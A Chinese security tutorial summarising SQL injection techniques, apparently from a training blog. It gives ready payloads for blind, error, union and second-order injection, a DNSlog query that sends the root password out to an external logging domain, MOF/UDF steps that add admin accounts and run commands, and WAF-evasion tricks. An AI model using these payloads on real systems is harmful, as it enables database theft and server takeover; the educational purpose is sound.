vlambda博客
学习文章列表

文库 | SQL注入知识总结

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #



作者:掌控安全-veek

SQL注入基础


 SQL注入(英语:SQL injection),是发生于应用程序与数据库层的安全漏洞。

简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

OWASP Top10虽然常年有更改,但sql注入基本一直位于榜首,其优势在于极低的使用代价以及极高的危害性,地位可见一斑。

SQL注入的危害自然是很大的,通常有以下这些(来自wiki):

  1. 资料表中的资料外泄,例如企业及个人机密资料,账户资料,密码等。

  2. 数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。

  3. 数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。

  4. 获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及Phishing等。

  5. 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。

  6. 黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。

  7. 破坏硬盘资料,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。

  8. 获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。

  9. 企业网站主页被窜改,门面尽失。

找到注入点后,sql注入的基本流程如下:

信息收集:
数据库类型
数据库版本
数据库用户
数据库权限

获取数据:
获取库信息
获取表信息
获取列信息
获取数据

提权:
执行命令
读文件       读取中间件配置文件,读取数据库配置文件
写文件       写webshell

注入分类及利用


布尔型注入

布尔是英文单词Boolean的音译,懂编程的同学应该知道它是用来表示是或否(True或False)的一个数据类型。布尔型注入是在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。

当查询结果不为空时,返回True,相反返回False。这在网页上的体现通常是True有内容显示,而False对应着空白页面(或者页面无变化)。我们通过这个方式可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确,因为过程较为繁琐,通常要结合脚本或工具来进行。

例如sqli-labs Less8中,页面返回的只有正确和错误。我们就可以利用布尔型注入来猜解数据。

判断数据库长度的语句,此时页面无显示,说明长度为8:

 
   
   
 
  1. http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

获取数据库名时拼接and (ascii(substr(database(),1,1)))>115语句,出现错误,对照ASCII码表得知数据库名第一个字符为“s”。而后便是重复此操作得到我们需要的数据。

报错型注入

原理

在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

主要场景有两种,一是当查询不回显内容,但是会打印错误信息;二是在insert和update等注入点(Order by查询),这些语句也会打印错误信息。

常用的Mysql报错函数有以下这些:

 
   
   
 
  1. updatexml():mysqlxml文档数据进行查询和修改的xpath函数

  2. extractvalue():mysqlxml文档数据进行查询的xpath函数

  3. floor():mysql中用来取整的函数

  4. exp():此函数返回e(自然对数的底)指数X的幂值

  • updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了,举例如下:

 
   
   
 
  1. mysql>select updatexml(1,make_set(3,'~',(select user())),1);

  2. ERROR 1105(HY000): XPATH syntax error:'~,root@localhost'


  3. mysql>select updatexml(1,lpad('@',30,(select user())),1);

  4. ERROR 1105(HY000): XPATH syntax error:'@localhostroot@localhostr@'


  5. mysql>select updatexml(1,repeat((select user()),2),1);

  6. ERROR 1105(HY000): XPATH syntax error:'@localhostroot@localhost'


  7. mysql>select updatexml(1,(select user()),1);

  8. ERROR 1105(HY000): XPATH syntax error:'@localhost'

  9. mysql>select updatexml(1,reverse((select user())),1);

  10. ERROR 1105(HY000): XPATH syntax error:'@toor'


  11. mysql>select updatexml(1,export_set(1|2,'::',(select user())),1);

  12. ERROR 1105(HY000): XPATH syntax error:'::,::,root@localhost,root@localh'

  • extractvalue(目标xml文档,xml路径)。语法中第二个参数Xpath是可操作的地方,

    如果我们写入错误的格式,就会报错,并且会返回我们写入的非法格式内容,

    而这个非法的内容就是我们想要查询的内容。

 
   
   
 
  1. mysql>select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名

  2. ERROR 1105(HY000): XPATH syntax error:'\users'


  3. mysql>select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105(HY000): XPATH syntax error:'\xxxx'mysql>select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));//获取字段

  4. ERROR 1105(HY000): XPATH syntax error:'\Dumb'

  • floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。

    floor报错注入是利用

    select count(*),(floor(rand(0)*2)) x from users group by x

    这个相对固定的语句格式,导致的数据库报错。有关它的报错原理可参考:source

 
   
   
 
  1. 1.' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

  2. 2. 'or(select1from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables groupby x)a),'','')-- qwe

文库 | SQL注入知识总结

联合查询注入

此处以MySQL为例

  • GET

获取回显点:

数字型:
根据获取的字段进行联合查询,查看显示点。看到网页显示的数字和联合查询字段对应的数字来得出哪个字段查询出来的数据可以在网站中显示出来。(利用and 1=2,也可以用其他方式比如-2/2.1154等,将前面的查询报错,进而网页则显示联合查询出来的数据。)

  1. and 1=2 union select 1,2,3,4,5

文库 | SQL注入知识总结

字符型:

字符型和数字型的差别只是闭合和注释,其余的语句基本一样。像这里因为PHP写的SQL语句的查询条件参数是用单引号括着的,所以要用单引号,如果是其他的比如双引号就要用双引号闭合,然后把后面那个多余的符合注释掉或处理掉。

 
   
   
 
  1. ' and 1=2 union select 1,2,3-- qwe

文库 | SQL注入知识总结

接下来展示几条具体的利用语句:

 
   
   
 
  1. and1=2unionselect1,database(),3,4,5//查询当前数据库

  2. and1=2unionselect1,database(),version(),4,5//查询当前数据库及版本

  3. and1=2unionselect1,database(),table_name,4,5from information_schema.tables where table_schema=database() limit 0,1//爆表名

  • POST

万能密码:

POST注入提得最多的应该就是万能密码了。(默认登录表里的第一个用户)

万能密码,where前面的那个条件为假后面的1=1为真,or或,一真一假为真,所以条件为真,则查询表里的全部数据。

 ' or 1=1 -- qwe

文库 | SQL注入知识总结

获取字段数:

 
   
   
 
  1. ' or 1=1 order by 1 -- qwe

文库 | SQL注入知识总结

搜索框如下,字段闭合之后就可以获取了。

文库 | SQL注入知识总结

文库 | SQL注入知识总结

二.时间型盲注


当注入时,无论我们传入什么值,网页正常或报错都显示一种页面时,那么网页的是否正常显示将不是我们用来判断是否注入成功的依据,就要用基于时间的盲注。

此处同样Mysql为例。

MySQL延时注入

延时注入就是在盲注的基础上增加了两个函数:

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

sleep():休眠多少秒

判断注入点:

无论输入的语句是对还是错,都只返回一种页面。

文库 | SQL注入知识总结

文库 | SQL注入知识总结

此时我们只能用sleep()来判断注入点。

 
   
   
 
  1. ' and sleep(5)-- qwe //延时了5秒,证明执行成功了。

文库 | SQL注入知识总结

猜当前数据库:

 
   
   
 
  1. ' and if(length(database())>8,1,sleep(5))-- qwe数据库长度大于8时延时了5秒,数据库名是长度为8的字符串。

文库 | SQL注入知识总结

 
   
   
 
  1. ' and if(ord(mid(database(),1,1))>115,1,sleep(5))-- qwe

  2. ASCII码:115 -> s 数据库的第一个字符

文库 | SQL注入知识总结

接下来的利用与盲注类似,只是判断方式不同。

三.注入类型扩展


DNSlog注入

什么是DNS?

什么是Dnslog

Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.comt00ls.com.等的访问信息。

DNSLOG的使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

DNSlog注入原理:

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

LOAD_FILE() 读取文件的函数:

读取文件并返回文件内容为字符串。要使用此函数:
1.文件必须位于服务器主机上
2.必须指定完整路径的文件
3.必须有FILE权限。该文件所有字节可读
4.文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

文库 | SQL注入知识总结

通过DNSlog注入需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

  1. 当secure_file_priv为空,就可以读取写入磁盘的目录。

  2. 当secure_file_priv为G:\,指定文件夹就可以对该文件夹读取写入,就可以读取G盘的文件。

  3. 当secure_file_priv为null,表示不允许读取写入,load_file就不能加载文件。

文库 | SQL注入知识总结

UNC路径:

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

\abc.xxx.com\abc -> 访问abc.xxx.com下的abc共享文件夹

DNSLOG平台

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

首先我们分配到这个域名:75icr7.ceye.io

文库 | SQL注入知识总结

平台有个POC:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

文库 | SQL注入知识总结

`改成分配我们的域名:CONCAT:字符串拼接函数 中间的select是一个子查询,假如root用户的密码是root,那么这条语句就等同于 SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc');

数据库去访问root.75icr7.ceye.io的服务器下的共享文件夹abc。
ceye.io运用了泛解析,然后ceye.io的子域名的解析都是在某台服务器,然后它记录下来了有人请求访问了root.75icr7.ceye.io,然后在ceye这个平台上面显示出来了

下面我们就查一下数据库试试:

 
   
   
 
  1. and(SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc')))这里加上1.txt是因为有防火墙,利用它的特性绕过。

文库 | SQL注入知识总结

数据库信息就出来了。

文库 | SQL注入知识总结

实战利用也可参考:DNSlog在SQL注入中的实战

二阶注入

二阶注入也称二次注入,原理是sql语句在没有被转义的情况下直接存入数据库,然后在被读取查询而导致的。

二次注入在php种通常见于,插入时被addslashes() get_magic_quotes_gpc 等等转义,但是写入数据库时还是使用原来的数据,二次注入造成的原因是多种多样的。

此处我们用sqli labs第24课来做例子

  1. 先创建一个含有注释符的用户 amin’#

文库 | SQL注入知识总结

  1. 查看数据库,可见成功添加了记录。此处虽然有转义操作,但如上面所说,数据被存入数据库是还是原来的形式。

文库 | SQL注入知识总结

  1. 用注册的账号进行修改密码的操作,sql语句分析如下:

 
   
   
 
  1. 源码中的sql语句: UPDATE users SET PASSWORD='$pass'where username='$username'and password='$curr_pass'

  2. 即将被执行的语句: UPDATE users SET PASSWORD='$pass'where username='admin'#' and password='$curr_pass'

  3. 最终被执行的语句:UPDATE users SET PASSWORD='$pass'where username='admin'

  1. 可以很清楚的看到#及之后的内容被省略,导致admin账户的密码被修改(而不是admin'#的)

文库 | SQL注入知识总结

Order By 注入

Order by注入是比较特殊的情况, sql语句为 select * from admin order by $id 。我们一般用order by 来判断列数,其实它就是一个依照第几个列来排序的过程。

order by注入是不能 直接使用and 1=1 来判断的,它需要用到条件语句。

简单注入判断

在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。

可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。

但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的

 
   
   
 
  1. http://192.168.239.2:81/?order=11 错误

  2. http://192.168.239.2:81/?order=1 正常

进一步构造payload

前面的判断并不是绝对的,我们需要构造出类似and 1=1and 1=2的payload以便于注入出数据。

此处需利用条件语句(if)。

 
   
   
 
  1. http://127.0.0.1/?order=IF(1=1,name,price) 通过name字段排序

  2. http://127.0.0.1/?order=IF(1=2,name,price) 通过price字段排序

 
   
   
 
  1. http://127.0.0.1/?order=IFNULL(NULL,price) 通过name字段排序

  2. http://127.0.0.1/?order=IFNULL(NULL,name) 通过price字段排序

可以观测到排序的结果不一样。

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,可以利用updatexml和extracvalue等函数进行报错注入:

 
   
   
 
  1. http://127.0.0.1/?order=updatexml(1,if(1=1,1,user()),1) 正确

  2. http://127.0.0.1/?order=updatexml(1,if(1=2,1,user()),1) 错误

 
   
   
 
  1. http://127.0.0.1/?order=extractvalue(1,if(1=1,1,user())) 正确

  2. http://127.0.0.1/?order=extractvalue(1,if(1=2,1,user())) 错误

基于时间盲注

注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击

 
   
   
 
  1. /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))正常响应时间

  2. /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

insert,delete,update注入

注意!这几种情况下的注入都会修改或删除数据,是非常危险的操作。

只有在授权测试允许的情况下才考虑利用。

利用其实和之前提到的类似,主要方式有报错和盲注。

insert

一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。

  1. 报错,使用updatexml函数

 
   
   
 
  1. mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");

  2. Query OK,1 row affected (0.00 sec)


  3. mysql>select*from admin;

  4. +------+-----------------------------------------------+----------+

  5. | id | username | password |

  6. +------+-----------------------------------------------+----------+

  7. |1| admin | admin |

  8. |1|and1=1| admin |

  9. |2|or updatexml(1,concat(0x7e,(version())),0)or| admin |

  10. +------+-----------------------------------------------+----------+

  11. 3 rows inset(0.00 sec)


  12. mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0)or"","admin");

  13. ERROR 1105(HY000): XPATH syntax error:'~5.5.53'

  1. 延时盲注

int型 可以使用 运算符,比如 加减乘除 and or 异或 移位等等

 
   
   
 
  1. mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");

  2. Query OK,1 row affected (5.00 sec)


  3. mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");

  4. Query OK,1 row affected (0.00 sec)

字符型注意闭合不能使用and。

 
   
   
 
  1. mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");

  2. Query OK,1 row affected (0.00 sec)


  3. mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");

  4. Query OK,1 row affected (5.01 sec)

注意盲注产生大量垃圾数据。

delete

需要注意的是delete 注入非常危险。一定要理清逻辑,不要使用sqlmap一把梭。语句稍不当,亲人泪两行 。

报错注入同上:

 
   
   
 
  1. mysql>deletefrom admin where id =-2or updatexml(1,concat(0x7e,(version())),0);

  2. ERROR 1105(HY000): XPATH syntax error:'~5.5.53'

盲注

or 配上 if() 函数使用不当。简单提下 if(expr1,expr2,expr3),如果expr1的值为true,返回expr2的值,如果expr1的值为false, 返回expr3的值。

 
   
   
 
  1. mysql>deletefrom admin where id =-2orif((substr((select user()),1,1)='r4'),sleep(5),1);

  2. Query OK,3 rows affected (0.00 sec)

update

与上方的类似,此处举延时注入为例:

 
   
   
 
  1. mysql> update admin set id="5"+sleep(5)+""where id=2;

  2. Query OK,4 rows affected (20.00 sec)

  3. Rows matched:4Changed:4Warnings:0

limit注入

limit的用法

 
   
   
 
  1. 格式:

  2. limit m,n

  3. //m是记录开始的位置,n是取n条数据

  4. limit 0,1

  5. //从第一条开始,取一条数据

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

报错注入:

 
   
   
 
  1. ?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);

时间型盲注:

直接使用sleep不行,需要用BENCHMARK代替

 
   
   
 
  1. ?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

四.注入检测


sql注入的检测,除开使用自动化工具,手动注入也是有效的方法。

我们可以通过在应用程序中触发报错或使用布尔型注入,最容易检测到脆弱的参数。构造格式错误的查询将触发错误,而发送带有各种布尔逻辑语句的有效查询将触发来自web服务器的不同响应。这里所说的检测方法在上方可以看到示例,因为很多利用是伴随着测试的。我们这一块主要探究如何获取数据库版本信息。

注意:True或False语句应该通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的true/false性质一致,则表示存在sql注入。

数据库版本检测

检测目标正在使用的数据库管理系统(DBMS)对于进一步利用注入至关重要。如果没有这些信息,就不可能确定要查询哪些表、内置哪些函数以及要避免哪些检测。如果下面的查询响应成功,则说明所选的DBMS正在被使用。

注意:把注释字符 — 放在查询之后,以删除查询后的任何注释,帮助防止错误。

前端与数据库类型
web应用 数据库系统
.net sql server
php PostgreSQL,Mysql
asp sql server,Access
java Oracle,Mysql

这个有助于缩小我们的判断范围。

端口判断
端口 数据库系统
1433 SQL Sever
1521 Oracle
3306 Mysql

其中Access数据库属于文件型数据库,所以不存在端口号。

基于特定函数的判断

len和length

在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。

当你使用and len(‘a’)=1的时候,返回正常页面时,可以推断当前的数据库类型可能是mssql,或mysql,或是db2。反之则可能会是oracle和informix。

@@version和version()

在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。

version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

substring和substr

在mssql中可以调用substring。oracle则只可调用substr

字符串处理方式
 
   
   
 
  1. sql server id=1and'a'+'b'='ab'--

  2. mssql:id=1and'a'+'b'='ab'

  3. mysql:id=1and'a'+'b'='ab''ab'=concat('a','b')

  4. oracle:id=1and'a'+'b'='a'||'b''ab'=concat('a','b')

  5. postgresql :id=1and'a'+'b'='a'||'b','ab'=concat('a','b')

报错类型

ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

五.注入提权


Mysql篇

MOF提权(windows)

使用范围

Windows Server 2003/XP 等 Windows低版本

需要权限

必须要有导出权限

原理

mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

Mof 文件怎么书写?

文库 | SQL注入知识总结

其中的关键就在于第17的net.exe user secist 123 /add,这句是用来创建一个用户名为secist,密码为123的用户。

创建成功后,再将这句命令改为“net.exe localgroup administrators admin /add”后,再次上传,达到创建admin用户并将其加入administrators组的目的。

MOF提权-实操

Windows Server 2003R2上面搭建这BlueCms,用户注册,登录成功后,通过上传头像,然后将我们要用到的mof文件后缀改为1.jpg上传

文库 | SQL注入知识总结

然后通过扫描目录,我们发现这个网站有phpmyadmin目录,访问了一下,显示PHP版本过低,发现要PHP高于5.5才能使用Phpmyadmin,

本地测试了一下,Windows 2003 根本不支持PHP5.4以上版本,不过不负有心人,我发现它有adminer.php文件。也是WEB的数据库管理工具。

文库 | SQL注入知识总结

然后查看了一下这个数据库,居然开启了导出的权限。
如果本地测试的小伙伴没有开启的话,可以去数据库的my.ini的最后加入这句话,然后重启Mysql。

加入my.ini的语句:secure_file_priv =

那么我们只要简单的执行导出语句就可以,先用load_file读取前面上传上来的文件内容,然后再导出到c:/windows/system32/wbem/mof/nullevt.mof。
语句:

 
   
   
 
  1. select load_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”)into dumpfile c:/windows/system32/wbem/mof/kkk.mof

文库 | SQL注入知识总结

文库 | SQL注入知识总结

再次上传一个mof文件,然后在执行命令的地方,把添加用户改为,提升用户权限,mof这里是system权限的,所以可以直接提上来。

那是否能尝试,在没有上传点的情况下达成这样的攻击?
那么我想到的就是直接写在adminer直接导出,但是我估计有些符号会影响语句,Mysql支持16进制,应该可以先转16进制,然后用Into dumpfile导出

字符转16进制:https://www.bejson.com/convert/ox2str/

我们尝试了,但是遇到了困难,因为16进制解码写入后,所有的代码都会糊在一起,不再会换行了。

如果没有想错的话就是16进制转换的时候没有加上换行,但是这里转换复杂,而且发现一个换行是由一个回车+一个换行符组成.

为了快捷 ,此处直接转化为了纯char写入。

文库 | SQL注入知识总结

执行成功后,查看用户很明显添加了进去,所以只要能够导入就可以成功。

文库 | SQL注入知识总结

Udf提权

使用范围

无版本要求,只和Mysql有关,与服务器版本无关

权限需求

必须要有导出权限,且用户必须root权限

原理

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。

用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

通过加载dll文件扩展,我们可以让Mysql去做一切事情。

通过上传可以调用系统命令的Dll扩展,然后设置好自定义函数,然后使用函数执行命令。

实战

如果mysql版本>5.1,udf.dll文件必须放置在mysql安装目录下的lib\plugin\

如果mysql版本小于等于5.1,udf.dll文件在system32目录下

我们怎么去获取Dll文件,其实Sqlmap中就有
sqlmap目录下的 \data\udf\mysql\windows\64\lib_mysqludf_sys.dll文件
当然你目标如果是32位的那么要选择32位的。

我们来尝试一下最简单的方法,通过Webshell直接上传到该目录然后执行命令。
这里所指的是网站低权限运行,但是数据库高权限运行,在IIS作为中间件的时候 比较常见。

上传udf

先判断数据库版本,符合 mysql 大于等于 5.1 情况。

sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择(不是靶机系统位数),命令 show variables like ‘%version_%’; 查看 mysql 位数。

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。

在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

文库 | SQL注入知识总结

引入函数

需要创建 udf 中存在的函数,可以用 winhex 打开 dll 看一下有哪些函数可以创建。这里选择 sys_eval 函数。

sys_eval:执行任意命令,并将输出返回。sys_exec:执行任意命令,并将退出码返回。

引入自定义函数:create function sys_eval returns string soname "lib_mysqludf_sys.dll";

文库 | SQL注入知识总结

使用函数

验证一下:select * from mysql.func where name = ‘sys_eval’;

文库 | SQL注入知识总结

select sys_eval(‘calc’); 弹计算器实验一下,除此之外还可以新建账号加入管理员组等进行其它操作。

文库 | SQL注入知识总结

六.注入小技巧

Mysql注入小技巧方法(https://bbs.zkaq.cn/t/4429.html)

WAF bypass

WAF的种类多种多样,而过滤与检测的方法大体上是一致的。WAF不是十全十美的,它们也都有着自身的缺陷。绕过WAF的方式总结下来,有以下这些。

  1. Web容器的特性

  2. Web应用层的问题

  3. WAF自身的问题

  4. 数据库的一些特性

WEB容器特性

a. 特性之一

在IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本 处理时会将其忽略。

文库 | SQL注入知识总结

现在假设有如下请求:
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

在WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为 % 的分隔,无法检测出关键字 select from 等
但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf。
这个特性仅在iis+asp上 asp.net并不存在。

b. 特性之二

IIS的Unicode编码字符
IIS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力。

文库 | SQL注入知识总结

如下:
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

但是IIS后端检测到了Unicode编码会将其自动解码,脚本引擎和数据库引擎最终获取到的参数会是:1 union all select 1,2,3,4 from admin

这种情况需要根据不同的waf进行相应的测试,并不是百发百中。但是对于绕过来说,往往只要一个字符成功绕过 即可达到目的。

c. 特性之三

HPP(HTTP Parameter Pollution): HTTP参数污染

文库 | SQL注入知识总结

在HTTP协议中是允许同样名称的参数出现多次的。例如:

http://zkaq666.com/1.asp?id=123&id=456 这个请求。

根据WAF的不同,一般会同时分开检查 id=123 和 id=456 ,也有的仅可能取其中一个进行检测。但是对于 IIS+ASP/ASP.NET来说,它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。
所以对于这类过滤规则,攻击者可以通过:
id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为:union select password/,/from admin

d. 特性之四

畸形HTTP请求

当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。下面来看这个POST请求:

文库 | SQL注入知识总结

如果将请求改为

文库 | SQL注入知识总结

这个请求包就就变为了: Method不合法,没有协议字段HTTP/1.1 ,也没有Host字段。

如果在HTTP/1.1协议中,缺少HOST字段会返回400 bad request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9 , Host坝默认使用Apache默认的servername ,这种畸形的请求仍然能够被处理。

如果某些WAF在处理数据的时候严格按照GET,POST等方式来获取数据,或者通过正则来处理数据库包,就会因为某些版本的Apache宽松的请求方式而被绕过。

WEB应用层缺陷
  • 多重编码

文库 | SQL注入知识总结

如果Web应用程序能够接收多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会 因为解码不完全导致防御机制被绕过。

  • 多数据来源的问题

Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松,没有依照RFC的标准来,开发人员在编写代码 时如果使用如下方式接收用户传入的参数
ID=Request(“ID”)
ID=Request.Params(“ID”)
WEB程序可从以下3种途径获取到参数ID的参数值:

  1. 从GET请求中获取ID的参数值;

  2. 如果GET请求中没有ID参数,尝试从POST的ID参数中获取参数值;

  3. 如果GET和POST中都获取不到ID的参数值,那么从Cookies中的ID参数获取参数值。
    这样对于某些WAF来说,如果仅检查了GET或POST的,那么来自Cookie的注入攻击就无能为力了,更何况来自于 这三种方式组合而成的参数污染的绕过方法呢?

WAF自身缺陷
  • 白名单机制

WAF存在某些机制,不处理和拦截白名单中的请求数据:

  1. 指定IP或IP段的数据。

  2. 来自于搜索引擎爬虫的访问数据。

  3. 其他特征的数据

如以前某些WAF为了不影响站点的优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。伪造HTTP请求的User-Agent非常容易,只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎 的User-Agent即可畅通无阻。

  • 数据获取方式存在缺陷

某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测,当GET请求的攻击数据包无法绕过时,转换 成POST可能就绕过去了。或者,POST以 Content-Type: application/x-www-form-urlencoded 无法绕过时,转换成上传包格式的Content-Type: multipart/form-data 就能够绕过去

文库 | SQL注入知识总结

  • 数据处理不恰当

1、%00截断 将 %00 进行URL解码,即是C语言中的NULL字符
如果WAF对获取到的数据存储和处理不当,那么 %00 解码后会将后面的数据截断,造成后面的数据没有经过检测。

文库 | SQL注入知识总结

解析:WAF在获取到参数id的值并解码后,参数值将被截断成 1/* ,后面的攻击语句将没有被WAF拿去进行检测。

2、&字符处理

文库 | SQL注入知识总结

这些WAF会使用&符号分割 part1 、 part2 和 part3 ,然后对其参数值进行检测。但是,如果遇到这种构造:

<img alt="img" style="zoom: 80%;" />

waf会将上传的参数分解成3部分:

 
   
   
 
  1. par1=1+union+/*

  2. x=1*/+select/*

  3. ×2=1*/1,2,3,4,5+from+Admin

如果将这3个参数分别进行检测,某些WAF是匹配不到攻击特征的。

这里的 %26 是 & 字符
/%26/->/&/ 其实只是一个SQL的注释而已

  • 数据清洗不恰当

当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清 洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。
如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为。

  • 规则通用性问题

